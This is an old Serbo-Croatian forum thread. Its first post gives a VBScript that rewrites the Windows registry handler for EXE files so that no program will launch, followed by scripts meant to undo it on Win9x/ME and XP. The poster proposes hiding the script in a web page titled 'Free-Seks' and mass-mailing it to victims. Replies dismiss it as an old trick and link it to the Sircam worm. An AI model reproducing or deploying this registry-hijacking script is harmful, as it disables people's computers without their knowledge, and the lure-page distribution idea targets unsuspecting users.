[es] - Kako zeznuti eksekuciju EXE-fajlova pod bilokojem Windowsom ;-)

Crackintosh
Bec

Član broj: 704
Poruke: 37
*.11.vie.surfer.at

ICQ: 93860948
Sajt: www.macplanet.q.fm

Profil

Kako zeznuti eksekuciju EXE-fajlova pod bilokojem Windowsom ;-)

^{02.11.2001. u 19:15 - pre 273 meseci}

Pogledajte sledece VBS-kodove:

Kod1 - Zeznuti pokretanje EXE-fajlova pod bilokojem Windowsem:

Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")

WSHShell.RegWrite "HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command\", "c:\con\con"

Sub Welcome()

Dim intDoIt

intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )

If intDoIt = vbCancel Then

WScript.Quit
End If

End Sub
---------------

Popravka za zeznuti Win9x/ME:

Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")

WSHShell.RegWrite "HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command\", ""

Sub Welcome()
Dim intDoIt

intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, _
vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )
If intDoIt = vbCancel Then
WScript.Quit
End If
End Sub

Popravka za zeznuti Windows XP:

Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")

WSHShell.RegWrite "HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command\", "%1 %2"

Sub Welcome()
Dim intDoIt

intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, _
vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )
If intDoIt = vbCancel Then
WScript.Quit
End If
End Sub

..................

Tako lako je zeznuti Winblows. Sreca da koristim Macintosh (samo ponekad Windows i ponekad Linuks)

Sada zamisli, da se taj kod ugradi u web-stranicu, i ta stranica se nazove Free-Seks i posalje puno ljudima preko email-a: BOOOOM!

http://www.macplanet.q.fm

Odgovor na temu

MoHicAn

Član broj: 43
Poruke: 1893
*.verat.net

Profil

Re: Kako zeznuti eksekuciju EXE-fajlova pod bilokojem Windowsom ;-)

^{03.11.2001. u 19:27 - pre 273 meseci}

Znaci dobili smo toplu vodu !!!

to je staro batko ....

jedino mozda ovo za xp ... al cemu prica o tome vise !!!

meni je red worm 100 X gori propust od toga ...

Odgovor na temu

Riste Pejov
Team Leader/Senior Software Developer @
Ein-Sof ltd Skopje
Skopje, Macedonia

Član broj: 128
Poruke: 571
212.120.11.*

Jabber: richie@bagra.net.mk
ICQ: 154236769
Sajt: riste.softver.org.mk

Profil

Re: Kako zeznuti eksekuciju EXE-fajlova pod bilokojem Windowsom ;-)

^{17.12.2001. u 08:47 - pre 272 meseci}

To isto koristi Sircam worm ...
tako svaki exe mora da se izvrsi preko njega ..

People who think they know everything tend to irritate those of us who do.

Odgovor na temu